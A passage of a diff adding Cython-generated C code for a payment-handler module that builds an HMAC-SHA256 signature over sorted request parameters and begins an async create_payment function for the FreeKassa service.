2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_params = values[0]; + __pyx_v_api_key = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("generate_signature", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 30, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.freekassa_pay.generate_signature", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13freekassa_pay_generate_signature(__pyx_self, __pyx_v_params, __pyx_v_api_key); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_18generate_signature_2generator6(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/freekassa_pay.py":32 + * def generate_signature(params, api_key): + * sorted_params = {k: params[k] for k in sorted(params)} + * sign_string = "|".join(str(value) for value in sorted_params.values()) # <<<<<<<<<<<<<< + * return hmac.new(api_key.encode(), sign_string.encode(), hashlib.sha256).hexdigest() + * + */ + +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_18generate_signature_genexpr(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_genexpr_arg_0) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("genexpr", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr *)__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr(__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 32, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_genexpr_arg_0 = __pyx_genexpr_arg_0; + __Pyx_INCREF(__pyx_cur_scope->__pyx_genexpr_arg_0); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_genexpr_arg_0); + { + __pyx_CoroutineObject *gen = __Pyx_Generator_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13freekassa_pay_18generate_signature_2generator6, NULL, (PyObject *) __pyx_cur_scope, __pyx_n_s_genexpr, __pyx_n_s_generate_signature_locals_genexp, __pyx_n_s_handlers_payments_freekassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.freekassa_pay.generate_signature.genexpr", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_18generate_signature_2generator6(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + Py_ssize_t __pyx_t_2; + Py_ssize_t __pyx_t_3; + int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + int __pyx_t_6; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("genexpr", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 32, __pyx_L1_error) + __pyx_r = PyList_New(0); if (unlikely(!__pyx_r)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_r); + __pyx_t_2 = 0; + if (unlikely(!__pyx_cur_scope->__pyx_genexpr_arg_0)) { __Pyx_RaiseUnboundLocalError(".0"); __PYX_ERR(0, 32, __pyx_L1_error) } + __pyx_t_5 = __Pyx_dict_iterator(__pyx_cur_scope->__pyx_genexpr_arg_0, 1, __pyx_n_s_values, (&__pyx_t_3), (&__pyx_t_4)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_1); + __pyx_t_1 = __pyx_t_5; + __pyx_t_5 = 0; + while (1) { + __pyx_t_6 = __Pyx_dict_iter_next(__pyx_t_1, __pyx_t_3, &__pyx_t_2, NULL, &__pyx_t_5, NULL, __pyx_t_4); + if (unlikely(__pyx_t_6 == 0)) break; + if (unlikely(__pyx_t_6 == -1)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_value); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_value, __pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_value); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (unlikely(__Pyx_ListComp_Append(__pyx_r, (PyObject*)__pyx_t_5))) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* function exit code */ + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_AddTraceback("genexpr", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XGIVEREF(__pyx_r); + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* "handlers/payments/freekassa_pay.py":30 + * + * + * def generate_signature(params, api_key): # <<<<<<<<<<<<<< + * sorted_params = {k: params[k] for k in sorted(params)} + * sign_string = "|".join(str(value) for value in sorted_params.values()) + */ + +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_generate_signature(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_params, PyObject *__pyx_v_api_key) { + PyObject *__pyx_v_sorted_params = NULL; + PyObject *__pyx_v_sign_string = NULL; + PyObject *__pyx_7genexpr__pyx_v_k = NULL; + PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_18generate_signature_2generator6 = 0; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + int __pyx_t_4; + Py_ssize_t __pyx_t_5; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + unsigned int __pyx_t_9; + PyObject *__pyx_t_10 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("generate_signature", 1); + + /* "handlers/payments/freekassa_pay.py":31 + * + * def generate_signature(params, api_key): + * sorted_params = {k: params[k] for k in sorted(params)} # <<<<<<<<<<<<<< + * sign_string = "|".join(str(value) for value in sorted_params.values()) + * return hmac.new(api_key.encode(), sign_string.encode(), hashlib.sha256).hexdigest() + */ + { /* enter inner scope */ + __pyx_t_1 = PyDict_New(); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 31, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = PySequence_List(__pyx_v_params); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 31, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = ((PyObject*)__pyx_t_3); + __pyx_t_3 = 0; + __pyx_t_4 = PyList_Sort(__pyx_t_2); if (unlikely(__pyx_t_4 == ((int)-1))) __PYX_ERR(0, 31, __pyx_L5_error) + __pyx_t_3 = __pyx_t_2; __Pyx_INCREF(__pyx_t_3); + __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + for (;;) { + { + Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_3); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 31, __pyx_L5_error) + #endif + if (__pyx_t_5 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_2 = PyList_GET_ITEM(__pyx_t_3, __pyx_t_5); __Pyx_INCREF(__pyx_t_2); __pyx_t_5++; if (unlikely((0 < 0))) __PYX_ERR(0, 31, __pyx_L5_error) + #else + __pyx_t_2 = __Pyx_PySequence_ITEM(__pyx_t_3, __pyx_t_5); __pyx_t_5++; if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_2); + #endif + __Pyx_XDECREF_SET(__pyx_7genexpr__pyx_v_k, __pyx_t_2); + __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_GetItem(__pyx_v_params, __pyx_7genexpr__pyx_v_k); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_2); + if (unlikely(PyDict_SetItem(__pyx_t_1, (PyObject*)__pyx_7genexpr__pyx_v_k, (PyObject*)__pyx_t_2))) __PYX_ERR(0, 31, __pyx_L5_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_7genexpr__pyx_v_k); __pyx_7genexpr__pyx_v_k = 0; + goto __pyx_L9_exit_scope; + __pyx_L5_error:; + __Pyx_XDECREF(__pyx_7genexpr__pyx_v_k); __pyx_7genexpr__pyx_v_k = 0; + goto __pyx_L1_error; + __pyx_L9_exit_scope:; + } /* exit inner scope */ + __pyx_v_sorted_params = ((PyObject*)__pyx_t_1); + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":32 + * def generate_signature(params, api_key): + * sorted_params = {k: params[k] for k in sorted(params)} + * sign_string = "|".join(str(value) for value in sorted_params.values()) # <<<<<<<<<<<<<< + * return hmac.new(api_key.encode(), sign_string.encode(), hashlib.sha256).hexdigest() + * + */ + __pyx_t_1 = __pyx_pf_8handlers_8payments_13freekassa_pay_18generate_signature_genexpr(NULL, __pyx_v_sorted_params); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_Generator_Next(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = PyUnicode_Join(__pyx_kp_u_, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_v_sign_string = ((PyObject*)__pyx_t_1); + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":33 + * sorted_params = {k: params[k] for k in sorted(params)} + * sign_string = "|".join(str(value) for value in sorted_params.values()) + * return hmac.new(api_key.encode(), sign_string.encode(), hashlib.sha256).hexdigest() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_hmac); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_new); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_api_key, __pyx_n_s_encode); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (unlikely(__pyx_v_sign_string == Py_None)) { + PyErr_Format(PyExc_AttributeError, "'NoneType' object has no attribute '%.30s'", "encode"); + __PYX_ERR(0, 33, __pyx_L1_error) + } + __pyx_t_7 = PyUnicode_AsEncodedString(__pyx_v_sign_string, NULL, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_hashlib); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_sha256); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[4] = {__pyx_t_8, __pyx_t_2, __pyx_t_7, __pyx_t_10}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_9, 3+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_hexdigest); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __pyx_t_1; + __pyx_t_1 = 0; + goto __pyx_L0; + + /* "handlers/payments/freekassa_pay.py":30 + * + * + * def generate_signature(params, api_key): # <<<<<<<<<<<<<< + * sorted_params = {k: params[k] for k in sorted(params)} + * sign_string = "|".join(str(value) for value in sorted_params.values()) + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_AddTraceback("handlers.payments.freekassa_pay.generate_signature", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __pyx_L0:; + __Pyx_XDECREF(__pyx_v_sorted_params); + __Pyx_XDECREF(__pyx_v_sign_string); + __Pyx_XDECREF(__pyx_7genexpr__pyx_v_k); + __Pyx_XDECREF(__pyx_gb_8handlers_8payments_13freekassa_pay_18generate_signature_2generator6); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_4generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/freekassa_pay.py":36 + * + * + * async def create_payment(user_id, amount, email, ip): # <<<<<<<<<<<<<< + * payment_id = str(uuid.uuid4()) + * nonce = int(time.time() * 1000) + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_3create_payment(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13freekassa_pay_3create_payment = {"create_payment", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13freekassa_pay_3create_payment, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_3create_payment(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + CYTHON_UNUSED PyObject *__pyx_v_user_id = 0; + PyObject *__pyx_v_amount = 0; + PyObject *__pyx_v_email = 0; + PyObject *__pyx_v_ip = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[4] = {0,0,0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("create_payment (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_user_id,&__pyx_n_s_amount,&__pyx_n_s_email,&__pyx_n_s_ip,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 4: values[3] = __Pyx_Arg_FASTCALL(__pyx_args, 3); + CYTHON_FALLTHROUGH; + case 3: values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + CYTHON_FALLTHROUGH; + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_user_id)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 36, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_amount)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 36, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("create_payment", 1, 4, 4, 1); __PYX_ERR(0, 36, __pyx_L3_error) + } + CYTHON_FALLTHROUGH; + case 2: + if (likely((values[2] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_email)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 36, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("create_payment", 1, 4, 4, 2); __PYX_ERR(0, 36, __pyx_L3_error) + } + CYTHON_FALLTHROUGH; + case 3: + if (likely((values[3] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_ip)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[3]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 36, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("create_payment", 1, 4, 4, 3); __PYX_ERR(0, 36, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "create_payment") < 0)) __PYX_ERR(0, 36, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 4)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + values[3] = __Pyx_Arg_FASTCALL(__pyx_args, 3); + } + __pyx_v_user_id = values[0]; + __pyx_v_amount = values[1]; + __pyx_v_email = values[2]; + __pyx_v_ip = values[3]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("create_payment", 1, 4, 4, __pyx_nargs); __PYX_ERR(0, 36, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.freekassa_pay.create_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13freekassa_pay_2create_payment(__pyx_self, __pyx_v_user_id, __pyx_v_amount, __pyx_v_email, __pyx_v_ip); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_2create_payment(CYTHON_UNUSED PyObject *__pyx_self, CYTHON_UNUSED PyObject *__pyx_v_user_id, PyObject *__pyx_v_amount, PyObject *__pyx_v_email, PyObject *__pyx_v_ip) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("create_payment", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment *)__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment(__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 36, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_user_id = __pyx_v_user_id; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_user_id); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_user_id); + __pyx_cur_scope->__pyx_v_amount = __pyx_v_amount; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_amount); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_amount); + __pyx_cur_scope->__pyx_v_email = __pyx_v_email; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_email); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_email); + __pyx_cur_scope->__pyx_v_ip = __pyx_v_ip; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_ip); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_ip); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13freekassa_pay_4generator, __pyx_codeobj__2, (PyObject *) __pyx_cur_scope, __pyx_n_s_create_payment, __pyx_n_s_create_payment, __pyx_n_s_handlers_payments_freekassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.freekassa_pay.create_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return 